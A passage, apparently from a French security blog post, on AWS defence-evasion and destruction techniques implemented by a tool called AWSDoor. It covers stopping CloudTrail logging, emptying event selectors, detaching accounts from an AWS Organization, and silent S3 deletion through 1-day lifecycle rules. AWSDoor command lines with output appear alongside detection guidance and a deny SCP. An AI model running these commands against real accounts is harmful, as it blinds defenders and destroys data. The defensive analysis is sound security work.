[+] Trail logging stopped on 'management-events'
La limitation réside dans le fait que cela ne désactivera que les trails définis dans le compte actuel et ne supprimera pas ceux définis au niveau de l’organisation.
Défense
Du côté du défenseur, cette technique peut être facilement détectée en consultant l’interface graphique. De plus, CloudTrail enregistre également l’événement StopLogging, indiquant qu’un trail a été altéré.
Sélecteur d’évènement
Attack
Dans AWS CloudTrail, les sélecteurs d’événements permettent un contrôle précis sur les types d’événements qu’un trail enregistre. Ces sélecteurs peuvent être configurés pour consigner les événements de gestion, les événements de données, ou les deux. Les événements de gestion enregistrent les opérations qui administrent les ressources AWS, comme le lancement d’une instance EC2 ou la modification de rôles IAM. Il s’agit généralement d’appels API de haut niveau effectués via la console, le SDK ou l’AWS CLI, et ils sont essentiels pour l’audit des actions administratives.
Par défaut, les trails enregistrent les événements de gestion, mais il est possible de modifier les sélecteurs d’événements pour les exclure partiellement ou totalement. Cette flexibilité peut être utile pour réduire le bruit ou les coûts dans des environnements fortement automatisés, mais elle introduit également un risque. Un attaquant disposant des autorisations adéquates pourrait manipuler les sélecteurs d’événements d’un trail afin de supprimer certains types de journaux, par exemple en désactivant l’enregistrement des événements de gestion, ce qui réduirait la visibilité sur les changements effectués pendant ou après une compromission.
Ainsi, en modifiant les sélecteurs d’événements, il est possible de dégrader les capacités de journalisation de CloudTrail, rendant plus difficile pour les défenseurs la détection d’activités non autorisées ou l’investigation d’incidents.
L’événement de gestion peut être simplement désactivé. Pour l’événement de données, afin d’éviter d’avoir un champ vide dans l’interface graphique, il est possible de forcer la configuration du sélecteur d’événements à n’enregistrer que des événements liés à une ressource inexistante :
AWSDoor
AWSDoor peut être utilisé pour reconfigurer le sélecteur d’événements afin d’empêcher la journalisation des événements de données et de gestion :
python .\main.py --m CloudTrailStop
[+] Adding event selector on management-events
[+] Management events disabled on trail 'management-events'
Une fois le script exécuté, le sélecteur d’événements est configuré. Le trail apparaît toujours comme actif:
Cependant, le sélecteur d’événements empêche toute journalisation ultérieure :
Défense
La création du sélecteur d’événements peut être détectée grâce à l’événement PutEventSelector enregistré dans CloudTrail :
De même, l’analyse de la collecte des journaux et de leur volumétrie constituerait un indicateur de compromission intéressant. Si le flux de journaux s’interrompt, il est probable qu’il s’agisse d’une attaque.
Destruction
Les attaques ciblant la destruction de données visent à provoquer d’importants dommages opérationnels en effaçant ou en corrompant de manière permanente des informations et des infrastructures critiques. Contrairement à l’exfiltration de données ou à l’élévation de privilèges, ces attaques ne cherchent pas à extraire de la valeur ou à maintenir un accès, mais plutôt à perturber la continuité des activités, nuire à la réputation ou saboter les systèmes de façon irréversible.
Dans les environnements cloud comme AWS, les attaques destructrices peuvent toucher tous types de ressources, comme par exemple : les ressources de stockage, les ressources de calcul ou les composants de configuration tels que les rôles IAM et les fonctions Lambda :
- La suppression de buckets S3 peut entraîner la perte de sauvegardes, de données clients ou d’informations réglementaires / techniques (journalisation).
- L’effacement de volumes EBS ou de snapshots RDS peut provoquer la perte totale de l’état d’une application ou de bases de données critiques.
- Le formatage du compte AWS (en supprimant tous les services possibles) peut causer une interruption de service très longue, même si les données sont sauvegardées en externe, en particulier si l’infrastructure n’est pas déployée via IaC ou si l’IaC est également détruit.
AWS Organization Leave
Organization Leave
AWS Organizations est un service qui permet de gérer et de gouverner de manière centralisée plusieurs comptes AWS à partir d’un point unique. Au sommet de la hiérarchie se trouve le service Organization, comprenant un compte de gestion (appelé compte payeur / maître / compte de gestion) et un ou plusieurs comptes membres. Ces comptes peuvent être regroupés en unités organisationnelles, ce qui facilite l’application de politiques ou la gestion des sauvegardes à grande échelle.
Chaque compte AWS au sein d’une organisation reste isolé en termes de ressources et d’identité, mais l’organisation peut appliquer des politiques telles que les Service Control Policies (SCP) à l’ensemble des comptes, imposant ainsi des restrictions spécifiques à tous les comptes, de la même manière qu’un GPO le fait dans un domaine Windows. Cette structure est particulièrement utile pour séparer les données et les charges de travail par équipe, environnement ou unité métier, tout en maintenant une gouvernance centralisée.
AWS permet également d’inviter ou de rattacher un compte autonome existant à une organisation. Ce processus peut être initié depuis le compte de gestion et nécessite que le compte invité accepte la demande. De même, des comptes peuvent être détachés et déplacés vers une autre organisation, bien que cette action soit soumise à certaines restrictions. Par exemple, certains services ou fonctionnalités AWS peuvent se comporter différemment lorsqu’un compte fait partie d’une organisation, notamment en matière de facturation consolidée et d’application des politiques. Cette fonctionnalité peut être utile lors de fusions, de restructurations ou pour la gestion du cycle de vie des comptes, mais elle ouvre également un vecteur d’attaque potentiel si elle n’est pas étroitement surveillée.
Suppression de données
La suppression de toutes les données d’un compte AWS n’est que rarement instantanée. Si certaines ressources comme les rôles IAM ou les groupes de sécurité peuvent être supprimées rapidement, d’autres, comme de grands buckets S3, des snapshots EBS ou des instances RDS, nécessitent plus de temps en raison de leur taille ou de la nature de l’infrastructure sous-jacente.
Pour contourner cette limitation, un attaquant ayant compromis le compte de gestion (pour impacter l’ensemble des comptes) ou simplement un compte spécifique peut exploiter AWS Organizations en détachant le compte ciblé et en le déplaçant vers une organisation qu’il contrôle. Cette opération s’effectue via la fonctionnalité Leave Organization (Quitter l’organisation).
Contrairement à la suppression de données, quitter une organisation est une action immédiate. Une fois le compte sorti de l’organisation AWS de l’entreprise, il est trop tard : l’action ne peut pas être annulée. Sans droits AdminAccess sur le compte autonome, il ne sera pas possible de le rattacher facilement à l’organisation, offrant ainsi à l’attaquant une large fenêtre pour supprimer méthodiquement toutes les ressources qui y sont attachées.
Exfiltration de données avant suppression
Bien que la commande LeaveOrganization soit une opération destructrice, elle peut également être utilisée pour exfiltrer des données avant leur suppression. Au lieu d’effacer toutes les ressources d’un compte AWS compromis, un attaquant peut choisir de détacher le compte de l’organisation, de conserver toute l’infrastructure intacte et d’exfiltrer lentement des données sensibles.
Par exemple, une entreprise héberge une application eShop sur AWS. L’attaquant, ayant compromis le compte AWS, utilise l’action LeaveOrganization pour reprendre le contrôle de la ressource eShop. Cette action retire le compte du contrôle centralisé, supprimant ainsi toute Service Control Policy, toute journalisation centralisée et tout mécanisme de gouvernance précédemment appliqué par l’organisation, sans pour autant impacter sa disponibilité.
Avec le contrôle total de ce compte désormais autonome, l’attaquant peut agir sans supervision. L’eShop continue de fonctionner normalement, servant les clients et traitant les commandes, mais en arrière-plan, l’attaquant dispose d’un accès illimité à toutes les ressources associées. Il peut lire les buckets S3, interroger la base de données clients, extraire des données de paiement et exfiltrer discrètement les informations bancaires ainsi que les données personnelles de chaque utilisateur, sans interrompre le service ni déclencher d’alertes opérationnelles.
Du point de vue de l’entreprise, une fois que le compte a quitté l’AWS Organization, l’équipe de sécurité perd toute visibilité et autorité administrative sur celui-ci. Elle ne peut plus arrêter facilement les ressources impactées directement depuis son propre compte AWS.
Sans accès administrateur au compte désormais isolé, l’entreprise n’a aucun moyen de désactiver les services, de suspendre la facturation ou de mettre fin à l’infrastructure compromise. Cela donne à l’attaquant une liberté opérationnelle totale, tandis que l’organisation se retrouve aveugle et incapable de réagir autrement qu’en sollicitant l’assistance AWS.
Privilèges requis
Pour exécuter l’action LeaveOrganization et détacher un compte AWS de son organisation, l’attaquant doit disposer de privilèges élevés au sein du compte ciblé. Plus précisément, les conditions et autorisations IAM suivantes sont requises :
- Accès au niveau du compte : l’attaquant doit avoir un accès direct au compte membre qu’il souhaite détacher. Cela signifie qu’il doit déjà être authentifié dans ce compte AWS spécifique, soit via des identifiants volés, des jetons de session, ou en exploitant des rôles ou politiques IAM vulnérables.
- Permission organizations:LeaveOrganization : il s’agit de l’autorisation IAM clé nécessaire pour invoquer l’appel API LeaveOrganization. Elle doit être explicitement accordée dans les permissions effectives de l’attaquant. Cette action n’est valide que lorsqu’elle est exécutée depuis le compte membre, et non depuis le compte de gestion.
- Accès à la facturation : bien que non strictement requis pour quitter une organisation, un attaquant ayant accès à la facturation et aux paramètres du compte (via les actions aws-portal:*, account:* ou billing:*) peut renforcer sa position, mettre à jour les informations de contact ou verrouiller les utilisateurs légitimes après le détachement. De plus, la plupart des comptes créés au sein d’une organisation le sont sans informations de paiement (car elles sont héritées du compte payeur). Cependant, pour qu’un compte puisse être détaché et devenir autonome, ces informations doivent être renseignées.
Défense and détection
Prévention des appels non autorisés à leaveorganization
Le contrôle le plus efficace est l’utilisation des Service Control Policies (SCP). Les SCP définissent les permissions maximales disponibles pour les comptes au sein d’une AWS Organization et peuvent refuser explicitement l’action organizations:LeaveOrganization, même si un utilisateur ou un rôle IAM local dispose de cette permission.
L’opération LeaveOrganization est exécutée depuis le compte membre lui-même, et non par le compte de gestion. Cela signifie qu’un attaquant n’a pas besoin de compromettre entièrement l’organisation AWS pour détacher un compte.
La SCP, définie au niveau de l’organisation, peut empêcher tout utilisateur des comptes de quitter l’organisation. Dans ce cas, l’attaquant doit d’abord compromettre l’ensemble de l’organisation AWS avant de pouvoir mener l’attaque.
La politique suivante empêchera tout usage abusif de LeaveOrganization :
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "DenyLeaveOrganization",
"Effect": "Deny",
"Action": "organizations:LeaveOrganization",
"Resource": "*"
}
]
}
Cette SCP doit être attachée directement à la racine de l’AWS Organization afin de garantir qu’elle s’applique à tous les comptes membres. Elle garantit qu’aucun compte ne puisse quitter unilatéralement l’organisation, même en cas de compromission.
Détection et Monitoring
Même avec des SCP en place, la surveillance des tentatives de LeaveOrganization est essentielle pour une défense en profondeur. En effet, même si l’action LeaveOrganization échoue en raison de la SCP, disposer d’une surveillance sur l’événement LeaveOrganization peut aider à détecter qu’une attaque est en cours dans l’environnement AWS.
Par exemple, une alarme CloudWatch pour déclencher des alertes lorsque l’événement LeaveOrganization ou DisablePolicyType se produit.
Destruction de bucket S3
Politique standard de suppression S3
Amazon S3 est l’un des services de stockage les plus utilisés et les plus fiables de l’écosystème AWS. Les organisations s’appuient sur lui pour stocker aussi bien des journaux et des fichiers que des données métier critiques et des sauvegardes. La destruction de données S3 peut avoir un impact bien plus important que la perte de quelques ressources de calcul, ce qui en fait une cible de grande valeur pour les attaquants.
Si le téléversement et le stockage de données dans S3 sont simples, la suppression de volumes importants de données est volontairement coûteuse en ressources et chronophage. Lorsqu’un bucket S3 est supprimé ou vidé, AWS effectue une suppression récursive et séquentielle de chaque objet, ce qui peut prendre des heures, voire des jours, dans de grands environnements.
De plus, AWS applique une cohérence finale (eventual consistency) sur les suppressions d’objets : même après une requête de suppression, les objets peuvent persister temporairement. Ces choix de conception offrent aux défenseurs une fenêtre temporelle cruciale pour détecter et contrer les tentatives de suppression avant qu’une perte de données irréversible ne survienne.
Politique de cycle de vie
Les politiques de cycle de vie Amazon S3 offrent un mécanisme automatisé pour gérer le cycle de vie du stockage des objets dans un bucket. Elles permettent de définir des règles qui transfèrent les objets vers différentes classes de stockage ou les font expirer (supprimer) après une période définie, selon des critères tels que l’âge de l’objet, un préfixe ou des balises. Cette automatisation aide les organisations à optimiser les coûts de stockage et à appliquer des politiques de conservation des données sans intervention manuelle.
Cependant, les politiques de cycle de vie fonctionnent différemment des processus manuels et contournent les protections standard conçues pour ralentir les suppressions massives. Un attaquant ayant obtenu des privilèges élevés dans un compte AWS peut créer ou modifier une politique de cycle de vie afin de fixer l’expiration des objets à la durée minimale autorisée (1 jour). Une fois appliquée, cette politique est rétroactive : tous les objets existants dans le bucket seront marqués pour expiration et programmés pour suppression, et tous les nouveaux objets créés expireront peu après leur création.
Contrairement aux suppressions manuelles, les expirations via une politique de cycle de vie sont gérées en interne par AWS à grande échelle et s’exécutent beaucoup plus rapidement. Cela peut permettre une suppression massive, rapide et furtive du contenu d’un bucket, sans générer le volume d’appels API ou le bruit opérationnel typique des suppressions récursives manuelles. Comme les modifications de politiques de cycle de vie peuvent ne pas déclencher d’alertes immédiates ou évidentes, un tel abus représente un risque important de destruction de données non détectée dans les environnements AWS.
Étant donné que les politiques de cycle de vie sont appliquées quotidiennement, le défenseur dispose de moins d’une journée pour détecter la modification de la politique, retirer le marquage de suppression et révoquer l’accès de l’attaquant.
AWSDoor
Cette technique est implémentée par AWSDoor:
python .\main.py --m S3ShadowDelete -n s3bucketname
Détection
La détection des suppressions furtives d’objets via les politiques de cycle de vie S3 peut facilement être manquée, car la suppression d’objets par expiration de cycle de vie ne génère pas d’événements DeleteObject standards dans CloudTrail, contrairement aux suppressions manuelles.
À la place, AWS gère en interne le processus de suppression de manière asynchrone, sans attribuer ces suppressions à un utilisateur ou rôle spécifique. Par conséquent, de nombreuses solutions de surveillance de sécurité ne reconnaissent pas cette action comme malveillante, alors qu’elle vise à impacter la disponibilité des données. Le seul indicateur fiable d’une telle opération est l’événement API PutBucketLifecycleConfiguration, qui journalise la création ou la mise à jour d’une règle de cycle de vie définissant un nouveau paramètre d’expiration (Expiration).
Pour détecter un abus potentiel, il convient de configurer une règle CloudWatch afin de surveiller les événements PutBucketLifecycleConfiguration et d’inspecter automatiquement la nouvelle configuration de politique. Si la politique inclut une action d’expiration fixée à la durée minimale autorisée (1 jour) ou s’applique largement à tous les objets, cela doit être considéré comme un changement à haut risque.
Dans les environnements sensibles, de tels changements de configuration devraient déclencher des alertes immédiates, une remédiation automatique et nécessiter une validation manuelle. Comme cette méthode contourne la traçabilité habituelle des suppressions au niveau objet, une détection précoce au niveau de la configuration est essentielle pour éviter une perte de données silencieuse et à grande échelle : l’équipe de défense ne disposera que d’une journée pour réagir.
Conclusion
CSPM
L’article a montré comment les configurations IAM peuvent être exploitées de manière furtive pour maintenir un accès à long terme dans des environnements AWS. Des techniques telles que l’injection de clés d’accès (AccessKey injection), l’ajout de portes dérobées dans les politiques de confiance (trust policy backdooring) et l’utilisation de politiques NotAction permettent aux attaquants de persister sans déployer de logiciel malveillant ni déclencher d’alertes.
Une solution de Cloud Security Posture Management (CSPM) joue un rôle clé dans la prévention de ces abus. En surveillant en continu les configurations IAM, en détectant les politiques trop permissives et en identifiant les écarts par rapport aux référentiels de conformité, un CSPM peut mettre rapidement en évidence des changements suspects. Par exemple, il peut signaler la création de nouvelles clés d’accès pour des utilisateurs qui utilisent habituellement le SSO, ou détecter l’établissement de relations de confiance avec des comptes externes. Ces capacités aident à empêcher qu’une persistance basée sur IAM ne s’installe durablement.
EDR
Au-delà d’IAM, les attaquants peuvent exploiter directement les ressources AWS, telles que les fonctions Lambda et les instances EC2, pour maintenir un accès. L’article a détaillé comment des Lambda layers compromises, des rôles sur‑privilégiés et des tunnels inversés basés sur SSM peuvent être utilisés pour persister sans modifier directement IAM.
Un Cloud EDR complète un CSPM en se concentrant sur le comportement à l’exécution et le contexte d’exécution. Il peut détecter des exécutions Lambda inhabituelles, des expositions inattendues via API Gateway, ou des instances EC2 initiant des tunnels sortants. En corrélant ces comportements avec le contexte d’identité et les changements récents de configuration, un EDR Cloud peut mettre en lumière des techniques de persistance qui passeraient autrement inaperçues. Cette visibilité comportementale est essentielle pour détecter en temps réel la persistance basée sur les ressources.
Backup et journalisation
Enfin, l’article a exploré comment des attaquants peuvent altérer la visibilité et la capacité de récupération en ciblant les mécanismes de journalisation et de sauvegarde. La désactivation de CloudTrail, la modification des sélecteurs d’événements, le déploiement de politiques de cycle de vie pour une suppression silencieuse dans S3 ou le détachement de comptes d’une AWS Organization sont autant de techniques qui réduisent la supervision et permettent un compromis ou une destruction à long terme.
Là encore, un CSPM et un EDR Cloud offrent des défenses complémentaires. Un CSPM peut détecter des erreurs de configuration dans les pipelines de journalisation, des modifications non autorisées de politiques de cycle de vie ou des tentatives de quitter l’organisation. De son côté, un EDR Cloud peut repérer l’absence de télémétrie attendue, des baisses soudaines du volume de journaux ou des appels API destructeurs. Ensemble, ils garantissent que les capacités de visibilité et de récupération restent intactes, même en cas d’attaque active.
